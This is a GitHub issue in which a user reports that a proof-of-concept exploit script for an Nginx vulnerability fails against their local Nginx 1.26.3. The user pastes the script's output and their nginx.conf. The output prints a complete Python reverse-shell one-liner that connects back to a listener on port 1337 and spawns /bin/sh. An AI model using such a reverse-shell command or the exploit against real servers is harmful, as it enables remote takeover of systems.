Skip to content

poc.py isn't working, my Nginx version: 1.26.3, please see my nginx.conf. #6

@yswang0927

Description

@yswang0927

I tested my nginx using the cmd python3 poc.py --host 127.0.0.1 --port 5080 --listen-ip 127.0.0.1 --shell, but it isn't working:

$ python3 poc.py --host 127.0.0.1 --port 5080 --listen-ip 127.0.0.1 --shell 

[*] Generated reverse shell command: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
[*] Listening for reverse shell on port 1337...
[*] Waiting for nginx on 127.0.0.1:5080...
[+] Connected.
[+] All candidates tried — no crash detected.
[+] All candidates tried — no crash detected.
......

Environment:

OS: Ubuntu24
Nginx: v1.26.3

nginx.conf:

#user  nobody;
worker_processes  auto;

error_log  logs/error.log;
#error_log  logs/error.log  notice;
#error_log  logs/error.log  info;

pid  logs/nginx.pid;

worker_rlimit_nofile 51200;

events {
    use epoll;
    worker_connections 10240;
}


http {
    include  mime.types;
    default_type  application/octet-stream;

    sendfile  on;
    tcp_nopush  on;
    tcp_nodelay  on;

    keepalive_timeout  65;

    client_max_body_size 100M;
    client_body_buffer_size 512k;

    map $http_host $this_host {
        "" $host;
        default $http_host;
    }

    map $http_x_forwarded_proto $the_scheme {
        default $http_x_forwarded_proto;
        "" $scheme;
    }

    map $http_x_forwarded_host $the_host {
       default $http_x_forwarded_host;
       "" $this_host;
    }
    
    map $http_upgrade $connection_upgrade {
        default upgrade;
        ''      close;
    }

    server {
        listen 0.0.0.0:5080;

        location / {
            root   html;
            index  index.html;
        }

        location ~ ^/api/(.*)$ {
            rewrite ^/api/(.*)$ /internal?migrated=true;
            set $original_endpoint $1;
        }

        error_page  404  /404.html;
        error_page  500 502 503 504  /50x.html;
        location = /404.html {
            root html;
        }

        location = /50x.html {
            root html;
        }

    }

}

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions